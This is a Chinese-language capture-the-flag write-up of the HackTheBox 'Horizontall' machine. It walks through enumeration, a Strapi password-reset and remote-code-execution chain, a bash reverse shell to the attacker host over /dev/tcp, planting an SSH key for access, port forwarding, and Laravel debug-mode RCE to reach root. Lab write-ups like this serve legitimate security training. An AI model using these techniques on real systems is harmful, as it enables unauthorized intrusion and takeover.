Linux/Horizonatll

Enumeration

nmap

第一次扫描发现系统对外开放了22,80端口,端口详细信息如下

从nmap结果看,系统只对外开放了两个端口,22和80,还显示了域名为http://horizontall.htb,将其添加到/etc/hosts文件中

strapi 3.0.0-beta.17.4 Set Password+Remote Code Execution

访问网站,页面如下

但是网站里所有的链接都没有用,因此尝试扫描web目录,但是并没有发现什么有趣的内容,然后发现在app.c68eb462.js中发现了一个新域名api-prod.horizontall.htb,将其添加到/etc/hosts文件中

之后访问新发现的域名,结果只是在屏幕上打印了welcome,尝试扫描web目录

使用gobuster扫描目录,很快就发现了admin

访问目录会跳转到登录页面,可以清楚地看到登录框写着strapi,通过搜索发现strapi是一个开源的headless CMS

对一个已知的cms应用,先看看有没有现成的漏洞及利用方式,有未认证的设置密码,认证后的rce,第三个很有意思,看起来是将前两种情况合并在一起,先将利用脚本镜像到本地

在python脚本中有一段版本检查的代码

可以请求该url,来查看软件版本是否存在漏洞

版本一致,容易受到攻击,执行脚本

可以看到脚本修改了密码,在输入id后返回了错误,并且提示这个RCE无法看到输出,尝试用一个用反向shell连接kali

bash -c 'bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'

输入上述指令后,在监听端得到shell

获取交互式shell

script /dev/null -c bash
ctrl-z
stty raw -echo; fg
reset

可以拿到user的flag

Privilege Escalation

查看系统运行的服务

可以看到除了22和80外,还有1337,3306和8000端口,3306默认是mysql的端口,用curl请求1337和8000端口,这两个页面似乎都展示了页面

发现strapi的主目录是/opt/strapi

在本机上使用ssh-keygen生成公钥和私钥对

复制id_rsa.pub中的内容到目标主机/opt/strapi/.ssh/authorized_keys,因为没有.ssh目录,所以新建了一个,然后在该目录下,创建了authorized_keys并修改其内容

这个时候就可以使用ssh登录目标系统了,这个时候可以利用ssh隧道将本地端口转发到远程主机

ssh -i id_rsa -L 8000:localhost:8000 strapi@10.10.11.105

然后可以在本地访问8000端口

在页面最下方,有laravel的版本信息Laravel v8 (PHP v7.4.18),有了具体的框架及版本,可以查看是否存在漏洞及利用方式,发现如果框架处于调试模式时,可以远程代码执行

Laravel 8.4.2 debug mode - Remote code execution

不知道怎么确定是否在调试,尝试扫描目录之后,发现了/profiles,访问该链接

在Laravel中发现了一些调试信息,似乎框架就处于希望的调试模式,寻找漏洞利用程序,然后下载到本地并且为程序添加执行权限,因为刚才进行了端口转发,可以直接在kali机器上运行程序

发现,按照步骤运行完毕后,输出了root,可以将指令换成一个反向shell

在kali中开启监听后,执行指令,即可获得一个shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/538277.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

yolov8模型结构

yolov8模型结构 yolo发展历史yolov8简介yolov8模型结构 yolo发展历史 YOLOv1:2015年Joseph Redmon和 Ali Farhadi等 人(华盛顿大学) YOLOv2:2016年Joseph Redmon和Ali Farhadi等人(华盛顿大学) YOLOv3&…

充电器自动化测试:怎么测试充电器的充电效率?

充电器是我们日常生活中必不可少的物品,在选择充电器时充电速度往往是重点关注因素之一。充电效率对电子产品及设备的使用有着重要影响。 什么是充电效率? 充电效率是指充电器将电源输出的电能转化为充电设备所需的电能的比率。充电效率高说明充电器的速…

基于jsp+mysql+Spring+mybatis的SSM汽车保险理赔管理系统设计和实现

基于jspmysqlSpringmybatis的SSM汽车保险理赔管理系统设计和实现 博主介绍:多年java开发经验,专注Java开发、定制、远程、文档编写指导等,csdn特邀作者、专注于Java技术领域 作者主页 央顺技术团队 Java毕设项目精品实战案例《1000套》 欢迎点赞 收藏 ⭐…

devops-git【部署及配置】

1、安装Git Linux做为服务器端系统,Windows作为客户端系统,分别安装Git: 【服务器端】 输入git --version 若出现 -bash:git:command not found则需要安装git;服务器端:输入yum -y install git安装完后,…

docker安装ollama

拉取镜像 docker pull ollama/ollama 运行容器 (挂载路径 D:\ollama 改成你自己喜欢的路径) CPU only docker run -d -v D:\ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama Nvidia GPU(没试过这个) doc…

初步了解序列化和反序列化

01什么是序列化和反序列化 序列化是将对象转化为字符串以便存储的一种方式。而反序列化恰好是序列化的逆过程,反序列化会将字符串转化为对象供程序使用。 常见的php系列化和反系列化方式主要有:serialize,unserialize;json_enco…

Flask 专题

[CISCN2019 总决赛 Day1 Web3]Flask Message Board 查看session解密 但不知道密钥,题目说FLASK,那肯定就是找密钥,发现输入什么都没有显示,只有author那里有回显在版上,所以尝试sstl,{{config}}找到密钥 扫目录发现有admin进入…

【UE5】非持枪站姿移动混合空间

项目资源文末百度网盘自取 创建角色在非持枪状态且站立移动的动画混合空间 在Character文件夹中创建文件夹,命名为BlendSpace 所有混合空间文件都放到这个文件夹中 在BlendSpace文件夹中单击右键,选择动画(Animation)中的混合空间(BlendSpace) 选择SK…

vue3中的文字滚动播报

vue3中的文字滚动播报 之前UI框架一直使用的elementPlus,有个需求,需要在页面上写个滚动播放新闻的功能,发现UI框架居然没有这个组件。花了一下午,在ChatGPT的帮助下,总算写成功了,先看最终展示效果 web页…

C++ 有哪些流行的开发框架或库?

这是我在知乎上回答的一个问题,不到两周收藏数超过 500,点赞还不到 100,看来 C 程序员还是不少,且大家都想进步。 不过从“收藏”就是“学过”的这种风气来看,大概率只是扫一眼,然后放到收藏里吃灰了。 下面…

Cesium 水质质量萤火图

参考: https://www.jianshu.com/p/9e1e1e4c69f3 // 点击拾取功能:const dom new DOM(document.querySelector("#UIContainer"));const handler new Cesium.ScreenSpaceEventHandler(viewer.scene.canvas);handler.setInputAction(movement > {var pick viewer.…

C++:继承与派生

为什么会有继承这样的语法呢??试想这样一个场景:假设我们这个App需要去获取不同类型用户的数据,并进行分类,那么就需要我们去写对应不同的类,比如说学生、老师、军人、公司职工…………每个类都需要有名字、…